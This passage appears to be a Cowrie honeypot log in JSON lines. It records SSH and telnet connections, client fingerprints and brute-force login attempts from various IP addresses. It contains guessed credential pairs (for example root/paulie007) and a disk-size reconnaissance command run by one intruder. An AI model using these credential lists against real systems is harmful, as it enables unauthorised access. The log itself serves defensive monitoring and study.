{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:44.781156Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:45.024632Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"20.5","message":"Connection lost after 20.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:45.030122Z","src_ip":"43.133.62.188","session":"86a0bbd7b491","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.09925556182861,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:41:52.423649Z","src_ip":"152.42.224.71","session":"2baa33bca13b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.927003145217896,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:07.653566Z","src_ip":"152.42.224.71","session":"8bac05f44b60","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.28.136","src_port":60716,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ee46c99cffa","protocol":"ssh","message":"New connection: 43.156.28.136:60716 (159.203.135.109:22) [session: 0ee46c99cffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:09.391150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:09.398215Z","src_ip":"43.156.28.136","session":"0ee46c99cffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:09.635657Z","src_ip":"43.156.28.136","session":"0ee46c99cffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xh","password":"123","message":"login attempt [xh/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:10.616479Z","src_ip":"43.156.28.136","session":"0ee46c99cffa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:11.857126Z","src_ip":"43.156.28.136","session":"0ee46c99cffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38266,"dst_ip":"10.17.0.5","dst_port":23,"session":"29b8ee8b3faa","protocol":"telnet","message":"New connection: 152.42.224.71:38266 (10.17.0.5:23) [session: 29b8ee8b3faa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:12.034273Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":48288,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f80f459e5e8","protocol":"ssh","message":"New connection: 103.149.28.157:48288 (10.17.0.5:22) [session: 0f80f459e5e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:22.716334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:22.721546Z","src_ip":"103.149.28.157","session":"0f80f459e5e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:22.966950Z","src_ip":"103.149.28.157","session":"0f80f459e5e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"paulie007","message":"login attempt [root/paulie007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:23.707900Z","src_ip":"103.149.28.157","session":"0f80f459e5e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:24.958421Z","src_ip":"103.149.28.157","session":"0f80f459e5e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":50014,"dst_ip":"159.203.135.109","dst_port":22,"session":"4be5e291e056","protocol":"ssh","message":"New connection: 103.15.222.183:50014 (159.203.135.109:22) [session: 4be5e291e056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:28.276388Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:28.281132Z","src_ip":"103.15.222.183","session":"4be5e291e056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:28.531608Z","src_ip":"103.15.222.183","session":"4be5e291e056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vitaliy","message":"login attempt [root/vitaliy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:29.282911Z","src_ip":"103.15.222.183","session":"4be5e291e056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:30.540352Z","src_ip":"103.15.222.183","session":"4be5e291e056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.188.177.46","src_port":48906,"dst_ip":"159.203.135.109","dst_port":22,"session":"1499e682ea05","protocol":"ssh","message":"New connection: 103.188.177.46:48906 (159.203.135.109:22) [session: 1499e682ea05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:34.916132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:34.920420Z","src_ip":"103.188.177.46","session":"1499e682ea05","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:35.167522Z","src_ip":"103.188.177.46","session":"1499e682ea05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00155115127563,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:35.315871Z","src_ip":"152.42.224.71","session":"5c38cfefbd1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":23.633720636367798,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:35.667871Z","src_ip":"152.42.224.71","session":"29b8ee8b3faa","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"1","message":"login attempt [ftpuser/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:36.186981Z","src_ip":"103.188.177.46","session":"1499e682ea05","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:37.436596Z","src_ip":"103.188.177.46","session":"1499e682ea05","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51528,"dst_ip":"10.17.0.5","dst_port":23,"session":"587d1874d9c0","protocol":"telnet","message":"New connection: 152.42.224.71:51528 (10.17.0.5:23) [session: 587d1874d9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:37.476710Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":56114,"dst_ip":"159.203.135.109","dst_port":22,"session":"c67f2ad704b5","protocol":"ssh","message":"New connection: 102.210.148.92:56114 (159.203.135.109:22) [session: c67f2ad704b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:38.728869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:38.733346Z","src_ip":"102.210.148.92","session":"c67f2ad704b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:38.983249Z","src_ip":"102.210.148.92","session":"c67f2ad704b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"benjamin","message":"login attempt [root/benjamin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:40.013012Z","src_ip":"102.210.148.92","session":"c67f2ad704b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:41.266623Z","src_ip":"102.210.148.92","session":"c67f2ad704b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":60650,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ce09290a113","protocol":"ssh","message":"New connection: 185.236.22.41:60650 (10.17.0.5:22) [session: 4ce09290a113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:43.529163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:43.532909Z","src_ip":"185.236.22.41","session":"4ce09290a113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:43.661450Z","src_ip":"185.236.22.41","session":"4ce09290a113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.62.188","src_port":42118,"dst_ip":"159.203.135.109","dst_port":22,"session":"10eaaa229add","protocol":"ssh","message":"New connection: 43.133.62.188:42118 (159.203.135.109:22) [session: 10eaaa229add]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:43.953003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:43.961435Z","src_ip":"43.133.62.188","session":"10eaaa229add","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789123","message":"login attempt [root/123456789123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:44.009051Z","src_ip":"185.236.22.41","session":"4ce09290a113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:44.206895Z","src_ip":"43.133.62.188","session":"10eaaa229add","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xiaoxiao520","message":"login attempt [root/xiaoxiao520] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:45.220640Z","src_ip":"43.133.62.188","session":"10eaaa229add","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:45.271796Z","src_ip":"185.236.22.41","session":"4ce09290a113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:46.470463Z","src_ip":"43.133.62.188","session":"10eaaa229add","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45612,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ed863f6159b","protocol":"telnet","message":"New connection: 152.42.224.71:45612 (10.17.0.5:23) [session: 3ed863f6159b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:51.373313Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":38956,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e87b9b6b098","protocol":"ssh","message":"New connection: 103.173.227.57:38956 (159.203.135.109:22) [session: 6e87b9b6b098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:52.926062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:42:52.931307Z","src_ip":"103.173.227.57","session":"6e87b9b6b098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-